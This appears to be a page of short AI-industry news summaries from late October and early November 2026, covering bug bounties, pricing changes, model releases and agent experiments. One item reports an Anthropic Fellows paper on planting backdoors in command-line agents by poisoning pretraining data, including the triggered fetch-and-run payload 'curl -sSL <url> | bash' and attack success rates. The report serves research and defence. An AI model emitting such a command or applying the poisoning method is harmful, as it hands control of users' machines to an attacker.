AI Coding Live News

OpenAI Plans Its Next Internal Security Sprint With Cathedral, More Than Quadruples Critical Bug Bounty Rewards to Up to $172,000

On November 2 (US time) OpenAI said it is planning its next internal security sprint and partnering with security firm Cathedral, whose researchers will use OpenAI models alongside OpenAI teams to challenge its defenses. It is also changing its Security Bug Bounty program, more than quadrupling rewards for critical findings; OpenAI's X post says exceptional findings can earn up to $172,000 including bonuses. Per OpenAI, the last sprint dedicated 25% of its product engineers to finding and fixing weaknesses, using Codex to reproduce vulnerabilities and prepare patches, and it has committed $1 billion in subsidized access over six months for frontline defenders.

OpenAI Plans Its Next Internal Security Sprint With Cathedral, More Than Quadruples Critical Bug Bounty Rewards to Up to $172,000

Key Takeaways

  • Critical bug bounty rewards are more than quadrupled; per OpenAI's X post, exceptional findings can earn up to $172,000 including bonuses.
  • Researchers from partner Cathedral will use OpenAI models alongside OpenAI teams to test its defenses.
  • Per OpenAI, the last sprint dedicated 25% of product engineers and used Codex to reproduce vulnerabilities in isolated environments and prepare patches.
  • OpenAI has committed $1 billion in subsidized access over six months for defenders of essential services and digital infrastructure.
  • Timing, scope and finding counts for the next sprint were not disclosed.
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X Discussion: Former Claude Code Member Thariq Says the $200 Plans Are Enough and "This Is the Most Expensive Intelligence Will Ever Be"

Thariq (@trq212), whose X bio reads "formerly Claude Code @anthropicai", posted on November 2: "one week in my takeaway is that you don't need unlimited tokens to do great work, the $200 plans are amazing and this is the most expensive intelligence will ever be." Within about seven hours the post drew more than 5,500 likes, 240,000 views and 350+ replies. Supporters say flat-rate plans are enough for most developers; critics point out the tension between "no unlimited tokens" and recommending the top tier, and some worry prices will rise once subsidies end. This is a personal view, not an Anthropic statement.

Key Takeaways

  • Thariq's exact claim: you don't need unlimited tokens to do great work, the $200 plans are "amazing", and "this is the most expensive intelligence will ever be."
  • In replies he added that he has been using the plans on weekends for a while and has "never hit a real limit."
  • Claude's official pricing page lists Max at $100/month (5x Pro usage) and Ultra at $200/month (10x Pro usage, no 5-hour limit, $200/month in API credits).
  • Pushback centers on two points: the tension between "no unlimited tokens" and recommending the most expensive tier, and whether current prices depend on subsidies that may end.
  • This is a personal view from a former Anthropic team member, not an official Anthropic position, and it comes with no usage data.
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OpenAI Launches Grid Protectors Program: Future Compute Campuses Will Cut Power When Grids Are Strained, Starting With Up to 1,000 MW in Georgia

On November 2, OpenAI announced the Grid Protectors Program on its official blog: working with utilities and regulators so its future self-built compute campuses (its new term for data centers) cut electricity use when the grid is strained, while paying the full infrastructure and electric-service costs. The pilot is the planned campus in Effingham County, Georgia (Project Camellia), which Georgia Power says needs about 3,200 MW and commits up to 1,000 MW of flexible demand response, equal per OpenAI to the average use of roughly 700,000 households. The campus is still in development.

OpenAI Launches Grid Protectors Program: Future Compute Campuses Will Cut Power When Grids Are Strained, Starting With Up to 1,000 MW in Georgia

Key Takeaways

  • The Effingham campus (Project Camellia) needs about 3,200 MW, and Georgia Power can cut up to 1,000 MW of supply to it during peaks under a 25-year agreement (Georgia Power figures).
  • OpenAI says 1,000 MW equals the average demand of roughly 700,000 households, more than Washington, D.C., and Boston combined.
  • Georgia Power projects about $950 million a year in customer savings from 2029 from its large-load portfolio including this project, at least $15 a month for a typical home.
  • OpenAI commits to paying the full grid infrastructure and electric-service costs; terms for other campuses will be shared once finalized.
  • OpenAI cites a projection that U.S. data center capacity will exceed 100 GW by 2030.
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X Discussion: MIT Team Says GPT-6 Astra Can Read and Write Neural Network Weights, Editing 0.016% of Qwen3.5-0.8B to Lift MATH-500 From 7.9% to 48.1%

On November 2, MIT CSAIL PhD student Rikiya Takehi posted "Weight-Space Programming" on X: a team (Takehi, Jayden Teoh, Alex Zhang, Omar Khattab) had GPT-6 Astra read and edit neural network weights directly, with no gradients or training. Their blog says Astra changed only 131,072 weights (0.016%) of Qwen3.5-0.8B, fixed its thinking loops and raised MATH-500 from 7.9% to 48.1%. The post drew about 24K likes and 1.77M views, and Ethan Mollick quoted it saying it is a big deal pending replication. All results are self-reported by the authors and not yet independently reproduced.

X Discussion: MIT Team Says GPT-6 Astra Can Read and Write Neural Network Weights, Editing 0.016% of Qwen3.5-0.8B to Lift MATH-500 From 7.9% to 48.1%

Key Takeaways

  • The original post (2026-11-02 17:51 UTC) had about 24,320 likes, 2,697 reposts, 2,284 quotes, 1.77M views and 15K bookmarks at fetch time; Wharton professor Ethan Mollick quoted it saying it is a pretty big deal pending replication (about 880 likes).
  • Experiment 8 (authors' figures): with a 50 forward-pass budget, Astra edited 131,072 weights (0.016%) of Qwen3.5-0.8B, raising MATH-500 from 7.9% to 48.1% and IFEval from 21.0% to 62.3%, while answers hitting the token limit fell from 93.0% to 33.1%.
  • Experiment 5 (authors' figures): with no data, gradients or tools, Astra wrote MinAtar policy networks in one shot that scored 517.4 on Breakout versus 15.8 for PPO at 100M steps and 25.3 at 500M steps; on Seaquest it scored 53.1, below the 88.9 of 500M-step PPO.
  • Limits the authors report: on Gemma 3 270M, which rarely loops, Astra's edits moved MATH-500 by no more than about a point; they conclude weight edits can remove an obstacle hiding an ability but cannot add one the model lacks.
  • Full experiment logs are public at RikiyaT/lm_understand-logs; so far there is only a blog post, with no peer-reviewed paper and no third-party replication.
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Deep Principle Open-Sources Hydrogen-1.0, a 753B Science Model Post-Trained From GLM-5.3 on Lab Records, MIT Licensed

Hangzhou-based AI-for-science company Deep Principle released Hydrogen-1.0 on November 2, its first general-purpose scientific model. It post-trains Zhipu's GLM-5.3 with SFT and RL on chemistry, materials and life-science data plus its own lab records and discovery trajectories, and ships about 753B parameters of BF16 weights on Hugging Face under the MIT license. By the vendor's own evaluation it scores 38.3% on FrontierScience-Research versus 33.3% for GPT-6 Astra; none of the results have been independently reproduced yet.

Deep Principle Open-Sources Hydrogen-1.0, a 753B Science Model Post-Trained From GLM-5.3 on Lab Records, MIT Licensed

Key Takeaways

  • Scale: Hugging Face lists about 753B total parameters (BF16, roughly 1.5 TB of weights), glm_moe_dsa architecture, 1M-token context and 128K max output, MIT licensed (download requires accepting HF terms).
  • Benchmarks (vendor-reported): 38.3% on FrontierScience-Research vs 33.3% for GPT-6 Astra; 93.0% on GPQA Diamond, which the company says roughly matches Kimi K3.
  • Internal scenarios (vendor-reported): leads max-thinking GPT-6 Astra by 5.13 points on scientific computing and 4.76 points on forward reaction prediction, but trails it by 3.33 points on NMR structure elucidation.
  • Materials discovery: after five rounds of transition-metal-complex search, the mean best HOMO-LUMO gap reached 4.318 eV vs 3.689 eV for GPT-6 Astra and 3.353 eV for Kimi K3 (official blog).
  • Access: weights on HF and ModelScope, plus NVFP4 (B200/B300) and MXFP4 (MI350X/MI355X) quantized repos; API via NeuroSpark and in-app use in the Mira AI Scientist; tested with SGLang on 8 GPUs.
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X Discussion: Elon Musk Says Grok Bot Serving Costs Were Unsustainably High Relative to Revenue; Replit CEO Amjad Masad Warns Subsidized AI Subscriptions Face a Rug Pull

After users on X complained that their Grok Bot usage ran out early this cycle, Elon Musk replied that "the cost of serving Grok Bot was unsustainably high relative to revenue", a reply with about 13K likes and 5.5M views. Replit CEO Amjad Masad then quoted the news, saying people enjoying subsidized AI subscriptions should "get ready to get rug pulled", sparking a debate over whether flat-rate AI plans can last. This is an X discussion with personal views; xAI has not published a formal pricing or limit announcement.

Key Takeaways

  • Trigger: user @DogecoinNorway said their Grok Bot usage hit 100% with 4 days left until reset, a post with about 1.24M views.
  • Musk replied that the cost of serving Grok Bot was unsustainably high relative to revenue, with about 13.2K likes, 5.51M views and 1,900+ quotes.
  • Amjad Masad (Replit CEO) quoted it, warning subsidized AI subscriptions are about to get rug pulled, with about 2,347 likes and 146K views; in replies he said Replit never subsidized.
  • xAI has not published a formal limit or pricing change; rely on official notices for specifics.
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Meituan ships LongCat-2.5, a 1.6T-parameter (about 48B active) native multimodal agentic model, with API pricing of $0.30/$1.20 per 1M tokens

On Nov 2 Meituan's LongCat team listed LongCat-2.5 in its API platform change log as the full release of September 25's LongCat-2.5-Preview. The official technical blog says it has 1.6 trillion total parameters with about 48 billion activated per token, builds on LongCat-2.0 with stronger native visual understanding and agentic coding, and was trained and served with W4A4 inference on domestic AI accelerators. Vendor-reported scores include 88.4 on Terminal Bench v2.1, 38.5 on Terminal Bench v4.0, 91.9 on BrowseComp and 83.1 on MCP Atlas. The API speaks both OpenAI and Anthropic formats with a 1M-token context and up to 128K output tokens, at a limited-time price of $0.30 per 1M uncached input tokens, $0.006 cached input and $1.20 output.

Meituan ships LongCat-2.5, a 1.6T-parameter (about 48B active) native multimodal agentic model, with API pricing of $0.30/$1.20 per 1M tokens

Key Takeaways

  • Scale: a 1.6-trillion-parameter MoE with about 48B active per token, a 1M-token context and up to 128K output tokens (official blog, API docs)
  • Code agents (vendor-reported): Terminal Bench v2.1 88.4 (Claude Opus 5 89.1, GPT-5.6-Sol 88.8), Terminal Bench v4.0 38.5 (GPT-5.6-Sol 37.3, Claude Opus 5 53.9), DeepSWE v1.1 64.6
  • General agents (vendor-reported): BrowseComp 91.9, MCP Atlas 83.1, AutomationBench v1.0.6 51.8, HLE with tools 63.1; AutomationBench jumps from 15.8 on LongCat-2.0
  • Pricing: limited-time $0.30 per 1M uncached input tokens, $0.006 cached input and $1.20 output (pricing page)
  • Engineering: W4A4 inference raises prefill throughput 43.3% and decode throughput 42.77% over a W8A8 baseline; FSDP gives 86% higher per-device throughput than DDP in long-sequence SFT
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X discussion: Shopify CEO Tobi Lütke backs the monorepo as a Shopify engineer calls it a boon for coding agents, while critics still prefer split repos

Shopify distinguished engineer Burke Libbey posted on November 1 that moving to a monorepo has been a boon for agents at Shopify; it needs thoughtful tooling and has downsides that take effort to mitigate, but he would not go back. He was replying to Darren Shepherd, who said a day earlier that he hates the idea that monorepos are great for agents. Shopify CEO Tobi Lütke then quoted Burke and recalled Mikhail Parakhin telling him that every engineer hates the idea of moving to a monorepo, yet once it is there no engineer would want to work somewhere without one. Tobi's post drew about 1,115 likes, 454 bookmarks and 89K views and set off a wide debate. These are practitioner opinions, not an official technical announcement.

Key Takeaways

  • Original post: @tobi, Nov 1, 15:39 UTC, about 1,115 likes, 454 bookmarks, 95 replies and 89K views at fetch time
  • Shopify distinguished engineer Burke Libbey wrote that moving to a monorepo has been a boon for agents at Shopify; it needs thoughtful tooling and its downsides take effort to mitigate, but he would not go back
  • On the other side, Darren Shepherd (Rancher and k3s background) posted on Oct 31 that he hates the idea that monorepos are great for agents and that the best way to scale is to avoid scaling
  • Mikhail Parakhin replied to Tobi's retelling: "True story! And now, with agents, it more true than ever."
  • Supporters in the quote posts say agents can see every caller at once and get cross-stack type checking and atomic changes; skeptics ask whether agents make independent, separately evolving repos more attractive
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X discussion: Flask creator Armin Ronacher says an Opus 5.5 agent could re-implement all of CPython in about two weeks with no human input, sparking a debate over whether the value is in the test suite

Flask creator Armin Ronacher (@mitsuhiko) posted on November 1 that he is convinced an Opus 5.5 agent could now re-implement all of CPython in about two weeks against just the tests, with no human input, possibly with ABI compatibility, no GIL, a JIT, and better numbers on every measurable metric. The post had about 1,637 likes, 98K views and 162 replies. He later added that a rewrite does not strictly need an existing test suite, and that having the agent build its own tests is often better for porting. antirez agreed, while Mario Zechner and Meta engineer Kevin Newton pushed back. This is a personal prediction; no such rewrite has been done.

Key Takeaways

  • Original post: @mitsuhiko, Nov 1, 11:52 UTC, about 1,637 likes, 269 bookmarks, 162 replies and 98K views at fetch time
  • His core claim: given just the tests and no human input, an agent could rewrite CPython in about two weeks, "probably" with full compatibility including ABI, no GIL and a JIT, which he called "completely crazy"; it is a prediction, not an experiment
  • Follow-up post (14:07 UTC, about 212 likes): an existing test suite is not required, and many pre-existing tests are bad for hill climbing; he says an agent he ran a few weeks ago re-implemented the Excel formula engine and built its own test suite from scratch
  • antirez (creator of Redis) agreed that you can ask an agent to build a large test suite before starting a port; Mario Zechner disagreed, saying his problem with agents is trust and pre-existing test and conformance suites increase it
  • Meta engineer Kevin Newton pushed back that very few Python JITs have succeeded because of complexity and compatibility, and that a good one without human input is unrealistic; others noted that under PEP 703 the free-threaded build is not ABI-compatible with the standard one
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X
Xinyan Hu, Pingbang Hu et al. (Anthropic Fellows Program / Anthropic)arxiv.org·
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Anthropic Fellows paper: poisoning 0.1% of pretraining data plants a remote-code-execution backdoor in CLI agents that survives clean SFT, DPO and RL

Researchers from the Anthropic Fellows Program and Anthropic, including Nicholas Carlini and Javier Rando, published "Agentic Backdoors via Pretraining Poisoning" on arXiv. They pretrained three Qwen3-architecture models from scratch at 0.6B, 1.7B and 4B, mixed just 0.1% poisoned documents into the pretraining corpus, and then turned each model into a command-line agent with a fully clean SFT, DPO and GRPO pipeline. The backdoor survived: when the trigger appears, the agent runs a remote-script command like curl -sSL <url> | bash. The 4B model reached a 92.7% Pass@32 attack success rate with an ordinary file-path trigger, while emitting the payload on 0% of clean prompts.

Key Takeaways

  • Poison budget: only 0.1% of a 100B-token pretraining corpus; the attacker needs no access to the model architecture or post-training pipeline (paper)
  • Persistence: the backdoor survives clean SFT, DPO and GRPO (RLVR) post-training and does not lower capability eval scores (paper figures)
  • Success rate: the 4B model hits 92.7% Pass@32 attack success with an ordinary path trigger and 10.5% with a rare-string trigger; payload emission on clean prompts is 0% (paper figures)
  • Scale effect: attack success rises monotonically with model size, and the 4B model stays above zero even at a 0.0005% (1 in 200,000) poison rate
  • Defense: clean data cannot be guaranteed, so the authors point to the action layer, such as sandboxing, least privilege, and allow-lists or human confirmation for risky commands; code is open source (GitHub)
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X discussion: Stripe CEO Patrick Collison adds an agent-powered "improvements" box to his vibecoded apps and calls it liquid software

A widely discussed idea on X: on Oct 31 Stripe CEO Patrick Collison (@patrickc) posted that he is building an "improvements" feature into all of his personal vibecoded applications, a freeform text input hooked up to an agent that implements whatever is submitted. He says another person who uses one of the apps has already implemented 150 improvements in a few days, and he floats the name "liquid software" for the pattern. He is also candid that he does not know whether it scales: whether it becomes unmaintainable, how collaborative software works this way, and whether it can be secure and reliable. The post drew about 2,130 likes, 1,900 bookmarks and 147K views. This is a write-up of a personal opinion and the discussion around it, not an official Stripe product announcement.

X discussion: Stripe CEO Patrick Collison adds an agent-powered "improvements" box to his vibecoded apps and calls it liquid software

Key Takeaways

  • Buzz: about 2,133 likes, 1,896 bookmarks, 217 replies, 76 quotes and 147K views (public X metrics as of Nov 1, 12:15 SGT)
  • Pattern: every personal app gets a freeform text box wired to an agent that yolo implements whatever is submitted, which makes sanding a small rough edge almost free
  • Data point: Collison says another person using one of his apps implemented 150 improvements in a few days (self-reported; the app itself is not public)
  • His own open questions: does it become unmaintainable, can model gains outpace feature appetite, how does collaborative software work, and can it be secure and reliable
  • Debate: supporters say it will become standard and could even ship bespoke per-user features behind flags; skeptics note conflicts start once a second user asks for the opposite change, and maintenance and security remain unsolved; Collison himself compares it to the user-modifiable visions of Lisp machines, Smalltalk and HyperCard
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Benji Taylor, head of design at X and SpaceXSI, open-sources Stageshow, an agent skill for realistic faux product UI and animated demos

On Oct 31, Benji Taylor, head of design at X and SpaceXSI, released Stageshow on X: an open-source skill (MIT license) for coding agents that helps them produce faux product UI that looks real, including stills, cursor demo animations, and bento grids, delivered as ordinary React components. It installs with one command, and he says it works with Grok Build, Claude Code, Codex, Gemini, and others. The launch post drew about 4,500 likes and 6,500 bookmarks. He notes it rarely nails a demo in one shot and most still take a few rounds of feedback.

Benji Taylor, head of design at X and SpaceXSI, open-sources Stageshow, an agent skill for realistic faux product UI and animated demos

Key Takeaways

  • Install: npx skills add benjitaylor/skills --skill stageshow; the author says it works with Grok Build, Claude Code, Codex, Gemini, and other agents (author's post)
  • Contents: a seven-step workflow in SKILL.md, reference rule docs, dozens of gold examples, a React kit, and self-check scripts such as film.mjs (GitHub)
  • License: the stageshow folder is MIT licensed; the repo was created Oct 26 and had about 61 stars at writing time
  • Reach: the launch post had about 4,521 likes, 6,561 bookmarks, and 213k views as of Nov 1, 08:00 SGT
  • Quality claims are the author's own: the same prompts did better with the skill, but no quantitative evaluation was published
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O
OpenAIhelp.openai.com·
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OpenAI will pool ChatGPT and Codex into one token-based usage allowance starting in December for Plus, Pro, and Business; Instant chat is excluded

On Oct 31, OpenAI's Help Center added a page titled "Understanding ChatGPT and Codex usage limits": starting in December, the usage allowance on Plus, Pro, and Business plans will be shared across ChatGPT and Codex as OpenAI brings the agentic capabilities of Work into the main ChatGPT experience. Usage will be measured in tokens, so stronger models and more complex tasks use more; Instant chat will not draw from the allowance. Users will see combined remaining usage and reset times in Settings > Usage, and can wait for a reset, upgrade, or buy credits when they run out. OpenAI says it expects most users will not need to wait for resets more often than they do now, but it has not given an exact start date or per-plan allowances. The news drew strong concern from Plus users on X.

Key Takeaways

  • Timing: takes effect in December, exact date not announced; covers Plus, Pro, and Business plans (OpenAI Help Center)
  • Metering: everything is measured in tokens and Instant chat is excluded; the Business pricing page now also notes that plan usage will have a shared limit across ChatGPT and Codex starting in December (Business pricing)
  • Today's baseline: only Work and Codex share an allowance now; Plus is estimated at 5-45 local messages per 5 hours on GPT-6 Astra, 15-160 on GPT-6.1 Sol, and 350-3,000 on GPT-6 Luna (official estimates, help article)
  • Pro 100/200/500 currently have no 5-hour limit in Work and Codex; per-plan allowances after the merge have not been published
  • OpenAI's position: most users should not wait for resets more often than today; when out, wait, upgrade, or buy credits
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DeepSeek Harness team open-sources dsh-superagent, a proactive coding agent prototype for a single GitHub repo, alongside its Super-agent architecture article

On Oct 31, deepseek-ai open-sourced dsh-superagent-prototype on GitHub under the MIT license: a proactive coding agent that runs as a DeepSeek Harness bundle, lives on one GitHub repository and can optionally listen to Feishu. When an allowed person asks for work, it opens a work item, works in its own session and directory, and answers in the original conversation, for example with a pull request. The README states it is a research prototype, not an official DeepSeek product. The companion article, Exploring Super-agent Design, proposes a two-layer Router-Worker architecture; the team test, as reproduced by media, reports a p95 completion time of 15.7 minutes versus 29.5 minutes for a single-session setup.

Key Takeaways

  • Open source: deepseek-ai/dsh-superagent-prototype went public on Oct 31 under MIT, written in TypeScript, with about 1,800 stars at the time of writing
  • Scope: each deployment serves 1 GitHub repository, with optional Feishu; it acts only when an allowed person addresses it or a team-written rule allows it
  • Delivery: by default it only allows auto-merge for an approved pull request opened for a ticket with fewer than 200 changed lines, and never enables auto-merge as the agent account
  • Team test (as reproduced by media, vendor-reported): in a simulation with about 300 messages and 20 requests, p50 / p95 completion was 12.4 / 15.7 minutes versus 20.4 / 29.5 for a single session with a subagent tool
  • Risk: worker sessions run commands without approval as the operator's OS user, and the README asks users to review and adapt the code first
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YC Labs pits AI agent swarms in Minecraft and Mindustry: GPT swarms win 12 of 16 head-to-head games against Claude, while a 50-agent colony slides into bureaucracy

YC Labs, a research project at Y Combinator, and multi-agent environment startup Olam Labs published "Agents in Games" on Oct 29. Fifty GPT-6.1 Sol agents told to "build a thriving civilization" in survival Minecraft spent three hours huddled in shelters rationing food, sending about 5,900 messages and inventing ration ledgers, permits and job titles. In nine Bed Wars games, 10 GPT-6.1 Sol agents beat 10 Claude Opus 5.5 agents 6–3; in seven 50-vs-50 Mindustry matches lasting about 9.5 hours, GPT won 6–1. The leader was almost always whichever agent was listed first in the directory, and stuck GPT agents fetched the game's public source code on their own. The Minecraft harness is open source. These are one lab's experimental observations, not a standardized benchmark.

YC Labs pits AI agent swarms in Minecraft and Mindustry: GPT swarms win 12 of 16 head-to-head games against Claude, while a 50-agent colony slides into bureaucracy

Key Takeaways

  • Head-to-head: GPT-6.1 Sol won Bed Wars 6–3 over nine games and Mindustry 6–1 over seven, 12 of 16 overall (see the YC Labs report)
  • Civ50: 50 GPT agents sent about 5,900 messages in three hours; 22 of 34 deaths came on the first night, after which the colony turned cautious
  • No election: 46 of the other 49 agents first messaged Ada, first on the roster, who received 616 DMs and became leader
  • Communication: in one Bed Wars game GPT players sent 1,147 DMs versus Claude's 82; GPT drifted into compressed shorthand while Claude voted with "+1"
  • Open source: the long-running Minecraft agent harness is public at yc-software/minecraft-agent-harness
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